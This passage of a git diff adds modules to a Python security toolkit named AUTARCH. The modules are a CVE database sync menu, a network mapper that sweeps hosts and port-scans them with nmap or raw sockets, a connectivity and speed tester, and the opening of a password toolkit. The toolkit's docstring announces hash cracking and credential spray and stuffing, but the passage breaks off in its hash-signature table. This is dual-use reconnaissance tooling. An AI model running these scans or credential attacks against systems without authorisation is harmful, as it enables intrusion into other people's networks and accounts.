input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def sync_database_recent(self): + """Sync recent CVEs (last 120 days).""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Sync (Recent){Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"This will download CVEs from the last 120 days.") + print(f"Estimated time: 5-15 minutes (depending on API rate limits)\n") + + confirm = input(f"{Colors.WHITE}Start sync? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print() + stats = self.cve_db.sync_database(days_back=120, verbose=True) + + print(f"\n{Colors.BOLD}Sync Complete{Colors.RESET}") + print(f" CVEs processed: {stats.get('cves_processed', 0):,}") + print(f" Errors: {stats.get('errors', 0)}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def sync_database_full(self): + """Full database sync (all CVEs since 1999).""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Sync (Full){Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.YELLOW}WARNING: This will download ALL CVEs (200,000+){Colors.RESET}") + print(f"Estimated time: 2-6 hours (depending on API rate limits)") + print(f"Database size: ~150-300 MB\n") + + print(f"Consider getting an NVD API key for faster sync:") + print(f" https://nvd.nist.gov/developers/request-an-api-key\n") + + confirm = input(f"{Colors.WHITE}Start full sync? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + + print() + stats = self.cve_db.sync_database(full_sync=True, verbose=True) + + print(f"\n{Colors.BOLD}Sync Complete{Colors.RESET}") + print(f" CVEs processed: {stats.get('cves_processed', 0):,}") + print(f" Errors: {stats.get('errors', 0)}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def show_database_info(self): + """Show CVE database information.""" + clear_screen() + display_banner() + + print(f"\n{Colors.BOLD}CVE Database Information{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + stats = self.cve_db.get_db_stats() + + print(f" {Colors.CYAN}Database Path:{Colors.RESET} {stats['db_path']}") + print(f" {Colors.CYAN}Database Size:{Colors.RESET} {stats['db_size_mb']} MB") + print(f" {Colors.CYAN}Total CVEs:{Colors.RESET} {stats['total_cves']:,}") + print(f" {Colors.CYAN}Total CPEs:{Colors.RESET} {stats['total_cpes']:,}") + print(f" {Colors.CYAN}Last Sync:{Colors.RESET} {stats.get('last_sync', 'Never')}") + + if stats.get('by_severity'): + print(f"\n {Colors.BOLD}CVEs by Severity:{Colors.RESET}") + for sev, count in sorted(stats['by_severity'].items()): + color = SecurityIssue.SEVERITY_COLORS.get(sev, Colors.WHITE) + print(f" {color}{sev}:{Colors.RESET} {count:,}") + + sys_info = self.cve_db.get_system_info() + print(f"\n {Colors.BOLD}System Detection:{Colors.RESET}") + print(f" OS: {sys_info.get('os_name', 'Unknown')}") + print(f" CPE: {sys_info.get('cpe_prefix', 'Unknown')}") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def run(self): + """Main module loop.""" + # Try to load previous results + self.load_from_file() + + while True: + self.show_menu() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + self.run_full_audit(check_cves=True) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + self.run_full_audit(check_cves=False) + self.save_to_file() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + elif choice == '3' and self._system_inf_path().exists(): + self.show_issues_menu() + + elif choice == '4' and self._system_inf_path().exists(): + self.show_cve_report() + + elif choice == '5': + self.search_cve_interactive() + + elif choice == '6': + self.check_software_cves() + + elif choice == '7': + self.sync_database_recent() + + elif choice == '8': + self.sync_database_full() + + elif choice == '9': + self.show_database_info() + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + MySystem().run() + + +if __name__ == "__main__": + run() diff --git a/modules/net_mapper.py b/modules/net_mapper.py new file mode 100644 index 0000000..de711fd --- /dev/null +++ b/modules/net_mapper.py @@ -0,0 +1,509 @@ +"""AUTARCH Network Topology Mapper + +Host discovery, service enumeration, OS fingerprinting, and visual +network topology mapping with scan diffing. +""" + +DESCRIPTION = "Network topology discovery & mapping" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import socket +import struct +import threading +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, field + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +@dataclass +class Host: + ip: str + mac: str = '' + hostname: str = '' + os_guess: str = '' + ports: List[dict] = field(default_factory=list) + state: str = 'up' + subnet: str = '' + + def to_dict(self) -> dict: + return { + 'ip': self.ip, 'mac': self.mac, 'hostname': self.hostname, + 'os_guess': self.os_guess, 'ports': self.ports, + 'state': self.state, 'subnet': self.subnet, + } + + +class NetMapper: + """Network topology discovery and mapping.""" + + def __init__(self): + self._data_dir = os.path.join(get_data_dir(), 'net_mapper') + os.makedirs(self._data_dir, exist_ok=True) + self._active_jobs: Dict[str, dict] = {} + + # ── Host Discovery ──────────────────────────────────────────────────── + + def discover_hosts(self, target: str, method: str = 'auto', + timeout: float = 3.0) -> dict: + """Discover live hosts on a network. + + target: IP, CIDR (192.168.1.0/24), or range (192.168.1.1-254) + method: 'arp', 'icmp', 'tcp', 'nmap', 'auto' + """ + job_id = f'discover_{int(time.time())}' + holder = {'done': False, 'hosts': [], 'error': None} + self._active_jobs[job_id] = holder + + def do_discover(): + try: + nmap = find_tool('nmap') + if method == 'nmap' or (method == 'auto' and nmap): + hosts = self._nmap_discover(target, nmap, timeout) + elif method == 'icmp' or method == 'auto': + hosts = self._ping_sweep(target, timeout) + elif method == 'tcp': + hosts = self._tcp_discover(target, timeout) + else: + hosts = self._ping_sweep(target, timeout) + holder['hosts'] = [h.to_dict() for h in hosts] + except Exception as e: + holder['error'] = str(e) + finally: + holder['done'] = True + + threading.Thread(target=do_discover, daemon=True).start() + return {'ok': True, 'job_id': job_id} + + def _nmap_discover(self, target: str, nmap: str, timeout: float) -> List[Host]: + """Discover hosts using nmap.""" + cmd = [nmap, '-sn', '-PE', '-PA21,22,80,443,445,3389', '-oX', '-', target] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + return self._parse_nmap_xml(result.stdout) + except Exception: + return [] + + def _ping_sweep(self, target: str, timeout: float) -> List[Host]: + """ICMP ping sweep.""" + ips = self._expand_target(target) + hosts = [] + lock = threading.Lock() + + def ping(ip): + try: + # Use socket instead of subprocess for speed + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + # Try common ports to detect hosts even if ICMP is blocked + for port in (80, 443, 22, 445): + try: + r = s.connect_ex((ip, port)) + if r == 0: + h = Host(ip=ip, state='up', + subnet='.'.join(ip.split('.')[:3]) + '.0/24') + try: + h.hostname = socket.getfqdn(ip) + if h.hostname == ip: + h.hostname = '' + except Exception: + pass + with lock: + hosts.append(h) + s.close() + return + except Exception: + pass + s.close() + except Exception: + pass + + threads = [] + for ip in ips: + t = threading.Thread(target=ping, args=(ip,), daemon=True) + threads.append(t) + t.start() + if len(threads) >= 100: + for t in threads: + t.join(timeout=timeout + 2) + threads.clear() + for t in threads: + t.join(timeout=timeout + 2) + + return sorted(hosts, key=lambda h: [int(x) for x in h.ip.split('.')]) + + def _tcp_discover(self, target: str, timeout: float) -> List[Host]: + """TCP SYN scan for discovery.""" + return self._ping_sweep(target, timeout) # Same logic for now + + # ── Port Scanning ───────────────────────────────────────────────────── + + def scan_host(self, ip: str, port_range: str = '1-1024', + service_detection: bool = True, + os_detection: bool = True) -> dict: + """Detailed scan of a single host.""" + nmap = find_tool('nmap') + if nmap: + return self._nmap_scan_host(ip, nmap, port_range, + service_detection, os_detection) + return self._socket_scan_host(ip, port_range) + + def _nmap_scan_host(self, ip: str, nmap: str, port_range: str, + svc: bool, os_det: bool) -> dict: + cmd = [nmap, '-Pn', '-p', port_range, '-oX', '-', ip] + if svc: + cmd.insert(2, '-sV') + if os_det: + cmd.insert(2, '-O') + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + hosts = self._parse_nmap_xml(result.stdout) + if hosts: + return {'ok': True, 'host': hosts[0].to_dict(), 'raw': result.stdout} + return {'ok': True, 'host': Host(ip=ip, state='unknown').to_dict()} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def _socket_scan_host(self, ip: str, port_range: str) -> dict: + """Fallback socket-based port scan.""" + start_port, end_port = 1, 1024 + if '-' in port_range: + parts = port_range.split('-') + start_port, end_port = int(parts[0]), int(parts[1]) + + open_ports = [] + for port in range(start_port, min(end_port + 1, 65536)): + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) + if s.connect_ex((ip, port)) == 0: + open_ports.append({ + 'port': port, 'protocol': 'tcp', 'state': 'open', + 'service': self._guess_service(port), + }) + s.close() + except Exception: + pass + + host = Host(ip=ip, state='up', ports=open_ports, + subnet='.'.join(ip.split('.')[:3]) + '.0/24') + return {'ok': True, 'host': host.to_dict()} + + # ── Topology / Scan Management ──────────────────────────────────────── + + def save_scan(self, name: str, hosts: List[dict]) -> dict: + """Save a network scan for later comparison.""" + scan = { + 'name': name, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'hosts': hosts, + 'host_count': len(hosts), + } + path = os.path.join(self._data_dir, f'scan_{name}_{int(time.time())}.json') + with open(path, 'w') as f: + json.dump(scan, f, indent=2) + return {'ok': True, 'path': path} + + def list_scans(self) -> List[dict]: + scans = [] + for f in Path(self._data_dir).glob('scan_*.json'): + try: + with open(f, 'r') as fh: + data = json.load(fh) + scans.append({ + 'file': f.name, + 'name': data.get('name', ''), + 'timestamp': data.get('timestamp', ''), + 'host_count': data.get('host_count', 0), + }) + except Exception: + continue + return sorted(scans, key=lambda s: s.get('timestamp', ''), reverse=True) + + def load_scan(self, filename: str) -> Optional[dict]: + path = os.path.join(self._data_dir, filename) + if os.path.exists(path): + with open(path, 'r') as f: + return json.load(f) + return None + + def diff_scans(self, scan1_file: str, scan2_file: str) -> dict: + """Compare two scans and find differences.""" + s1 = self.load_scan(scan1_file) + s2 = self.load_scan(scan2_file) + if not s1 or not s2: + return {'ok': False, 'error': 'Scan(s) not found'} + + ips1 = {h['ip'] for h in s1.get('hosts', [])} + ips2 = {h['ip'] for h in s2.get('hosts', [])} + + return { + 'ok': True, + 'new_hosts': sorted(ips2 - ips1), + 'removed_hosts': sorted(ips1 - ips2), + 'unchanged_hosts': sorted(ips1 & ips2), + 'scan1': {'name': s1.get('name'), 'timestamp': s1.get('timestamp'), + 'count': len(ips1)}, + 'scan2': {'name': s2.get('name'), 'timestamp': s2.get('timestamp'), + 'count': len(ips2)}, + } + + def get_job_status(self, job_id: str) -> dict: + holder = self._active_jobs.get(job_id) + if not holder: + return {'ok': False, 'error': 'Job not found'} + result = {'ok': True, 'done': holder['done'], 'hosts': holder['hosts']} + if holder.get('error'): + result['error'] = holder['error'] + if holder['done']: + self._active_jobs.pop(job_id, None) + return result + + # ── Topology Data (for visualization) ───────────────────────────────── + + def build_topology(self, hosts: List[dict]) -> dict: + """Build topology graph data from host list for visualization.""" + nodes = [] + edges = [] + subnets = {} + + for h in hosts: + subnet = '.'.join(h['ip'].split('.')[:3]) + '.0/24' + if subnet not in subnets: + subnets[subnet] = { + 'id': f'subnet_{subnet}', 'label': subnet, + 'type': 'subnet', 'hosts': [], + } + subnets[subnet]['hosts'].append(h['ip']) + + node_type = 'host' + if h.get('ports'): + services = [p.get('service', '') for p in h['ports']] + if any('http' in s.lower() for s in services): + node_type = 'web' + elif any('ssh' in s.lower() for s in services): + node_type = 'server' + elif any('smb' in s.lower() or 'netbios' in s.lower() for s in services): + node_type = 'windows' + + nodes.append({ + 'id': h['ip'], + 'label': h.get('hostname') or h['ip'], + 'ip': h['ip'], + 'type': node_type, + 'os': h.get('os_guess', ''), + 'ports': len(h.get('ports', [])), + 'subnet': subnet, + }) + + # Edge from host to subnet gateway + gateway = '.'.join(h['ip'].split('.')[:3]) + '.1' + edges.append({'from': h['ip'], 'to': gateway, 'type': 'network'}) + + # Add subnet nodes + for subnet_data in subnets.values(): + nodes.append(subnet_data) + + return { + 'nodes': nodes, + 'edges': edges, + 'subnets': list(subnets.keys()), + 'total_hosts': len(hosts), + } + + # ── Helpers ─────────────────────────────────────────────────────────── + + def _expand_target(self, target: str) -> List[str]: + """Expand CIDR or range to list of IPs.""" + if '/' in target: + return self._cidr_to_ips(target) + if '-' in target.split('.')[-1]: + base = '.'.join(target.split('.')[:3]) + range_part = target.split('.')[-1] + if '-' in range_part: + start, end = range_part.split('-') + return [f'{base}.{i}' for i in range(int(start), int(end) + 1)] + return [target] + + @staticmethod + def _cidr_to_ips(cidr: str) -> List[str]: + parts = cidr.split('/') + if len(parts) != 2: + return [cidr] + ip = parts[0] + prefix = int(parts[1]) + if prefix < 16: + return [ip] # Too large, don't expand + ip_int = struct.unpack('!I', socket.inet_aton(ip))[0] + mask = (0xFFFFFFFF << (32 - prefix)) & 0xFFFFFFFF + network = ip_int & mask + broadcast = network | (~mask & 0xFFFFFFFF) + return [socket.inet_ntoa(struct.pack('!I', i)) + for i in range(network + 1, broadcast)] + + def _parse_nmap_xml(self, xml_text: str) -> List[Host]: + """Parse nmap XML output to Host objects.""" + hosts = [] + try: + import xml.etree.ElementTree as ET + root = ET.fromstring(xml_text) + for host_el in root.findall('.//host'): + state = host_el.find('status') + if state is not None and state.get('state') != 'up': + continue + addr = host_el.find("address[@addrtype='ipv4']") + if addr is None: + continue + ip = addr.get('addr', '') + mac_el = host_el.find("address[@addrtype='mac']") + hostname_el = host_el.find('.//hostname') + os_el = host_el.find('.//osmatch') + + h = Host( + ip=ip, + mac=mac_el.get('addr', '') if mac_el is not None else '', + hostname=hostname_el.get('name', '') if hostname_el is not None else '', + os_guess=os_el.get('name', '') if os_el is not None else '', + subnet='.'.join(ip.split('.')[:3]) + '.0/24', + ) + + for port_el in host_el.findall('.//port'): + state_el = port_el.find('state') + if state_el is not None and state_el.get('state') == 'open': + svc_el = port_el.find('service') + h.ports.append({ + 'port': int(port_el.get('portid', 0)), + 'protocol': port_el.get('protocol', 'tcp'), + 'state': 'open', + 'service': svc_el.get('name', '') if svc_el is not None else '', + 'version': svc_el.get('version', '') if svc_el is not None else '', + }) + hosts.append(h) + except Exception: + pass + return hosts + + @staticmethod + def _guess_service(port: int) -> str: + services = { + 21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'dns', + 80: 'http', 110: 'pop3', 143: 'imap', 443: 'https', 445: 'smb', + 993: 'imaps', 995: 'pop3s', 3306: 'mysql', 3389: 'rdp', + 5432: 'postgresql', 5900: 'vnc', 6379: 'redis', 8080: 'http-alt', + 8443: 'https-alt', 27017: 'mongodb', + } + return services.get(port, '') + + +# ── Singleton ───────────────────────────────────────────────────────────────── + +_instance = None +_lock = threading.Lock() + + +def get_net_mapper() -> NetMapper: + global _instance + if _instance is None: + with _lock: + if _instance is None: + _instance = NetMapper() + return _instance + + +# ── CLI ─────────────────────────────────────────────────────────────────────── + +def run(): + """Interactive CLI for Network Mapper.""" + svc = get_net_mapper() + + while True: + print("\n╔═══════════════════════════════════════╗") + print("║ NETWORK TOPOLOGY MAPPER ║") + print("╠═══════════════════════════════════════╣") + print("║ 1 — Discover Hosts ║") + print("║ 2 — Scan Host (detailed) ║") + print("║ 3 — List Saved Scans ║") + print("║ 4 — Compare Scans ║") + print("║ 0 — Back ║") + print("╚═══════════════════════════════════════╝") + + choice = input("\n Select: ").strip() + + if choice == '0': + break + elif choice == '1': + target = input(" Target (CIDR/range): ").strip() + if not target: + continue + print(" Discovering hosts...") + r = svc.discover_hosts(target) + if r.get('job_id'): + while True: + time.sleep(2) + s = svc.get_job_status(r['job_id']) + if s['done']: + hosts = s['hosts'] + print(f"\n Found {len(hosts)} hosts:") + for h in hosts: + ports = len(h.get('ports', [])) + print(f" {h['ip']:16s} {h.get('hostname',''):20s} " + f"{h.get('os_guess',''):20s} {ports} ports") + save = input("\n Save scan? (name/empty=skip): ").strip() + if save: + svc.save_scan(save, hosts) + print(f" Saved as: {save}") + break + elif choice == '2': + ip = input(" Host IP: ").strip() + if not ip: + continue + print(" Scanning...") + r = svc.scan_host(ip) + if r.get('ok'): + h = r['host'] + print(f"\n {h['ip']} — {h.get('os_guess', 'unknown OS')}") + for p in h.get('ports', []): + print(f" {p['port']:6d}/{p['protocol']} {p.get('service','')}" + f" {p.get('version','')}") + elif choice == '3': + scans = svc.list_scans() + if not scans: + print("\n No saved scans.") + continue + for s in scans: + print(f" {s['file']:40s} {s['name']:15s} " + f"{s['host_count']} hosts {s['timestamp'][:19]}") + elif choice == '4': + scans = svc.list_scans() + if len(scans) < 2: + print(" Need at least 2 saved scans.") + continue + for i, s in enumerate(scans, 1): + print(f" {i}. {s['file']} ({s['host_count']} hosts)") + a = int(input(" Scan 1 #: ").strip()) - 1 + b = int(input(" Scan 2 #: ").strip()) - 1 + diff = svc.diff_scans(scans[a]['file'], scans[b]['file']) + if diff.get('ok'): + print(f"\n New hosts: {len(diff['new_hosts'])}") + for h in diff['new_hosts']: + print(f" + {h}") + print(f" Removed hosts: {len(diff['removed_hosts'])}") + for h in diff['removed_hosts']: + print(f" - {h}") + print(f" Unchanged: {len(diff['unchanged_hosts'])}") diff --git a/modules/nettest.py b/modules/nettest.py new file mode 100644 index 0000000..b1edaf9 --- /dev/null +++ b/modules/nettest.py @@ -0,0 +1,363 @@ +""" +AUTARCH Network Test Module +Test network speed and connectivity +""" + +import sys +import time +from pathlib import Path + +# Add parent directory to path for imports +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.banner import Colors + +# Module metadata +NAME = "Network Test" +DESCRIPTION = "Test network speed and connectivity" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "utility" + +# Try to import optional dependencies +try: + import speedtest + HAS_SPEEDTEST = True +except ImportError: + HAS_SPEEDTEST = False + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +class NetworkTester: + """Network testing utility.""" + + def __init__(self): + self.test_urls = [ + ("Google", "https://www.google.com"), + ("Cloudflare", "https://1.1.1.1"), + ("GitHub", "https://github.com"), + ("Amazon", "https://aws.amazon.com"), + ] + + def test_connectivity(self) -> dict: + """Test basic internet connectivity. + + Returns: + Dict with connectivity results. + """ + if not HAS_REQUESTS: + return {'error': 'requests library not available'} + + print(f"{Colors.CYAN}[*] Testing connectivity...{Colors.RESET}") + + results = { + 'tests': [], + 'success_count': 0, + 'fail_count': 0, + } + + for name, url in self.test_urls: + try: + start = time.time() + response = requests.get(url, timeout=10) + elapsed = round((time.time() - start) * 1000) + + success = response.status_code == 200 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': success, + 'status': response.status_code, + 'time_ms': elapsed, + }) + + if success: + results['success_count'] += 1 + print(f" {Colors.GREEN}[+]{Colors.RESET} {name}: {elapsed}ms") + else: + results['fail_count'] += 1 + print(f" {Colors.RED}[-]{Colors.RESET} {name}: HTTP {response.status_code}") + + except requests.exceptions.Timeout: + results['fail_count'] += 1 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': False, + 'error': 'Timeout', + }) + print(f" {Colors.RED}[-]{Colors.RESET} {name}: Timeout") + + except requests.exceptions.ConnectionError: + results['fail_count'] += 1 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': False, + 'error': 'Connection failed', + }) + print(f" {Colors.RED}[-]{Colors.RESET} {name}: Connection failed") + + except Exception as e: + results['fail_count'] += 1 + results['tests'].append({ + 'name': name, + 'url': url, + 'success': False, + 'error': str(e), + }) + print(f" {Colors.RED}[-]{Colors.RESET} {name}: {str(e)}") + + return results + + def test_speed(self) -> dict: + """Test network speed using speedtest. + + Returns: + Dict with speed test results. + """ + if not HAS_SPEEDTEST: + return {'error': 'speedtest-cli library not available'} + + print(f"{Colors.CYAN}[*] Running speed test (this may take a minute)...{Colors.RESET}") + + try: + st = speedtest.Speedtest(secure=True) + + print(f" {Colors.DIM}Finding best server...{Colors.RESET}") + st.get_best_server() + + print(f" {Colors.DIM}Testing download speed...{Colors.RESET}") + st.download(threads=None) + + print(f" {Colors.DIM}Testing upload speed...{Colors.RESET}") + st.upload(threads=None) + + results = st.results.dict() + + return { + 'download_mbps': round(results['download'] / 1_000_000, 2), + 'upload_mbps': round(results['upload'] / 1_000_000, 2), + 'ping_ms': round(results['ping']), + 'client': { + 'ip': results.get('client', {}).get('ip'), + 'isp': results.get('client', {}).get('isp'), + 'country': results.get('client', {}).get('country'), + }, + 'server': { + 'name': results.get('server', {}).get('name'), + 'country': results.get('server', {}).get('country'), + 'sponsor': results.get('server', {}).get('sponsor'), + }, + } + + except Exception as e: + return {'error': f'Speed test failed: {str(e)}'} + + def test_dns(self, domain: str = "google.com") -> dict: + """Test DNS resolution. + + Args: + domain: Domain to resolve. + + Returns: + Dict with DNS test results. + """ + import socket + + print(f"{Colors.CYAN}[*] Testing DNS resolution...{Colors.RESET}") + + results = { + 'domain': domain, + 'resolved': False, + 'addresses': [], + } + + try: + start = time.time() + addrs = socket.getaddrinfo(domain, 80) + elapsed = round((time.time() - start) * 1000) + + results['resolved'] = True + results['time_ms'] = elapsed + results['addresses'] = list(set(addr[4][0] for addr in addrs)) + + print(f" {Colors.GREEN}[+]{Colors.RESET} Resolved {domain} in {elapsed}ms") + for addr in results['addresses'][:3]: + print(f" {Colors.DIM}{addr}{Colors.RESET}") + + except socket.gaierror as e: + results['error'] = f"DNS resolution failed: {e}" + print(f" {Colors.RED}[-]{Colors.RESET} DNS resolution failed") + + except Exception as e: + results['error'] = str(e) + print(f" {Colors.RED}[-]{Colors.RESET} Error: {e}") + + return results + + +def color_speed(value: float, thresholds: tuple) -> str: + """Color code speed values. + + Args: + value: Speed value. + thresholds: (low, medium) thresholds. + + Returns: + Colored string. + """ + low, medium = thresholds + if value < low: + return f"{Colors.RED}{value}{Colors.RESET}" + elif value < medium: + return f"{Colors.YELLOW}{value}{Colors.RESET}" + else: + return f"{Colors.GREEN}{value}{Colors.RESET}" + + +def display_speed_result(result: dict): + """Display speed test results nicely.""" + if 'error' in result: + print(f"\n{Colors.RED}[X] {result['error']}{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD} NETWORK SPEED TEST RESULTS{Colors.RESET}") + print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}") + + # Download speed (low < 5 Mbps, medium < 25 Mbps) + download = result['download_mbps'] + download_colored = color_speed(download, (5, 25)) + print(f" {Colors.GREEN}Download:{Colors.RESET} {download_colored} Mbps") + + # Upload speed (low < 2 Mbps, medium < 10 Mbps) + upload = result['upload_mbps'] + upload_colored = color_speed(upload, (2, 10)) + print(f" {Colors.GREEN}Upload:{Colors.RESET} {upload_colored} Mbps") + + # Ping (low > 100ms, medium > 50ms, inverted) + ping = result['ping_ms'] + if ping > 100: + ping_colored = f"{Colors.RED}{ping}{Colors.RESET}" + elif ping > 50: + ping_colored = f"{Colors.YELLOW}{ping}{Colors.RESET}" + else: + ping_colored = f"{Colors.GREEN}{ping}{Colors.RESET}" + print(f" {Colors.GREEN}Ping:{Colors.RESET} {ping_colored} ms") + + # Client info + client = result.get('client', {}) + if client: + print(f"\n {Colors.CYAN}Your Connection:{Colors.RESET}") + if client.get('ip'): + print(f" IP: {client['ip']}") + if client.get('isp'): + print(f" ISP: {client['isp']}") + if client.get('country'): + print(f" Country: {client['country']}") + + # Server info + server = result.get('server', {}) + if server: + print(f"\n {Colors.CYAN}Test Server:{Colors.RESET}") + if server.get('sponsor'): + print(f" {server['sponsor']}") + if server.get('name'): + print(f" {server['name']}, {server.get('country', '')}") + + print() + + +def display_menu(): + """Display the network test module menu.""" + speedtest_status = f"{Colors.GREEN}Available{Colors.RESET}" if HAS_SPEEDTEST else f"{Colors.RED}Not installed{Colors.RESET}" + + print(f""" +{Colors.CYAN} Network Test{Colors.RESET} +{Colors.DIM} Test network speed and connectivity{Colors.RESET} +{Colors.DIM}{'─' * 50}{Colors.RESET} + + {Colors.GREEN}[1]{Colors.RESET} Test Connectivity (ping websites) + {Colors.GREEN}[2]{Colors.RESET} Full Speed Test [{speedtest_status}] + {Colors.GREEN}[3]{Colors.RESET} Test DNS Resolution + {Colors.GREEN}[4]{Colors.RESET} Run All Tests + + {Colors.RED}[0]{Colors.RESET} Back +""") + + +def run(): + """Main entry point for the module.""" + if not HAS_REQUESTS: + print(f"{Colors.RED}[X] This module requires 'requests' library{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install requests{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + return + + tester = NetworkTester() + + while True: + display_menu() + choice = input(f"{Colors.GREEN}Select option: {Colors.RESET}").strip() + + if choice == '0': + break + + elif choice == '1': + results = tester.test_connectivity() + if 'error' not in results: + total = results['success_count'] + results['fail_count'] + print(f"\n{Colors.GREEN}[+] Connectivity: {results['success_count']}/{total} tests passed{Colors.RESET}") + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '2': + if not HAS_SPEEDTEST: + print(f"\n{Colors.RED}[X] speedtest-cli library not installed{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install speedtest-cli{Colors.RESET}") + else: + results = tester.test_speed() + display_speed_result(results) + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '3': + print(f"\n{Colors.CYAN}Enter domain to resolve (default: google.com):{Colors.RESET}") + domain = input(f"{Colors.GREEN}Domain: {Colors.RESET}").strip() or "google.com" + tester.test_dns(domain) + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + elif choice == '4': + print(f"\n{Colors.CYAN}{'=' * 50}{Colors.RESET}") + print(f"{Colors.GREEN}{Colors.BOLD} RUNNING ALL NETWORK TESTS{Colors.RESET}") + print(f"{Colors.CYAN}{'=' * 50}{Colors.RESET}\n") + + # Connectivity + print(f"{Colors.BOLD}1. Connectivity Test{Colors.RESET}") + conn_results = tester.test_connectivity() + + # DNS + print(f"\n{Colors.BOLD}2. DNS Resolution{Colors.RESET}") + tester.test_dns() + + # Speed test + if HAS_SPEEDTEST: + print(f"\n{Colors.BOLD}3. Speed Test{Colors.RESET}") + speed_results = tester.test_speed() + display_speed_result(speed_results) + else: + print(f"\n{Colors.BOLD}3. Speed Test{Colors.RESET}") + print(f" {Colors.RED}[-]{Colors.RESET} Skipped (speedtest-cli not installed)") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + else: + print(f"{Colors.RED}[!] Invalid option{Colors.RESET}") + + +if __name__ == "__main__": + run() diff --git a/modules/password_toolkit.py b/modules/password_toolkit.py new file mode 100644 index 0000000..d6f966d --- /dev/null +++ b/modules/password_toolkit.py @@ -0,0 +1,796 @@ +"""AUTARCH Password Toolkit + +Hash identification, cracking (hashcat/john integration), password generation, +credential spray/stuff testing, wordlist management, and password policy auditing. +""" + +DESCRIPTION = "Password cracking & credential testing" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import string +import secrets +import hashlib +import threading +import subprocess +from pathlib import Path +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + import shutil + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Hash Type Signatures ────────────────────────────────────────────────────── + +@dataclass +class HashSignature: + name: str + regex: str + hashcat_mode: int + john_format: str + example: str + bits: int = 0 + + +HASH_SIGNATURES: List[HashSignature] = [ + HashSignature('MD5', r'^[a-fA-F0-9]{32}$', 0, 'raw-md5', 'd41d8cd98f00b204e9800998ecf8427e', 128), + HashSignature('SHA-1', r'^[a-fA-F0-9]{40}$', 100, 'raw-sha1', 'da39a3ee5e6b4b0d3255bfef95601890afd80709', 160), + HashSignature('SHA-224', r'^[a-fA-F0-9]{56}$', 1300, 'raw-sha224', 'd14a028c2a3a2bc9476102bb288234c415a2b01f828ea62ac5b3e42f', 224), + HashSignature('SHA-256', r'^[a-fA-F0-9]{64}$', 1400, 'raw-sha256', 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', 256), + HashSignature('SHA-384', r'^[a-fA-F0-9]{96}$', 10800,'raw-sha384', '38b060a751ac96384cd9327eb1b1e36a21fdb71114be07434c0cc7bf63f6e1da274edebfe76f65fbd51ad2f14898b95b', 384), + HashSignature('SHA-512', r'^[a-fA-F0-9]{128}$', 1700, 'raw-sha512', 'cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e', 512), + HashSignature('NTLM', r'^[a-fA-F0-9]{32}$', 1000, 'nt', '31d6cfe0d16ae931b73c59d7e0c089c0', 128), + HashSignature('LM', r'^[a-fA-F0-9]{32}$', 3000, 'lm', 'aad3b435b51404eeaad3b435b51404ee', 128), + HashSignature('bcrypt', r'^\$2[aby]?\$\d{1,2}\$[./A-Za-z0-9]{53}$', 3200, 'bcrypt', '$2b$12$LJ3m4ys3Lg2VBe5F.4oXzuLKmRPBRWvs5fS5K.zL1E8CfJzqS/VfO', 0), + HashSignature('scrypt', r'^\$7\$', 8900, 'scrypt', '', 0), + 